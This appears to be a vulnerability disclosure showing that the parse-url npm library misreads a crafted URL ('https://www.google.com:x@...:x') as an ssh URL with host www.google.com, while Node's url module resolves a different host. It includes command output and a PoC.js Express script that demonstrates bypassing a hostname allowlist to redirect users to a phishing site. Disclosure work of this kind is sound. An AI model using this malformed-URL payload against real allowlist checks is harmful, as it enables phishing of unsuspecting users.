parse-url parses following http(s) url incorrectly, identifies its protocol as ssh, and its host name is parsed incorrectly either.
https://www.google.com:[email protected]:x
# node -e 'const parseUrl=require("parse-url");console.log(parseUrl("https://www.google.com:[email protected]:x"))'
{
protocols: [ 'ssh' ],
protocol: 'ssh',
port: '',
resource: 'www.google.com',
host: 'www.google.com',
user: 'git',
password: '',
pathname: '/x',
hash: '',
search: '',
href: 'https://www.google.com:[email protected]:x',
query: {},
parse_failed: false
}
But url library parses correctly.
# node -e 'const url=require("url");console.log(url.parse("https://www.google.com:[email protected]:x"))'
Url {
protocol: 'https:',
slashes: true,
auth: 'www.google.com:x',
host: 'fakesite.com',
port: null,
hostname: 'fakesite.com',
hash: null,
search: null,
query: null,
pathname: '/:x',
path: '/:x',
href: 'https://www.google.com:[email protected]/:x'
}
This may lead to bypass the hostname whitelistοΌattacker could do phishing attack.
Consider the following attack scenario, developer uses parse-url
library to check whether url hostname is www.google.com
or not, and uses url
library to do redirect action.
If attacker constructs malformed url, then the user will be redirected to a phishing site.
// PoC.js
const parseUrl = require("parse-url");
const Url = require("url");
const express = require('express');
const app = express();
var url = "https://www.google.com:[email protected]:x";
parsed = parseUrl(url);
console.log("[*]`parse-url` output: ")
console.log(parsed);
parsed2 = Url.parse(url);
console.log("[*]`url` output: ")
console.log(parsed2)
app.get('/', (req, res) => {
if (parsed.host == "www.google.com") {
res.send("<a href>CLICK ME!</a>")
}
})
app.listen(8888,"0.0.0.0");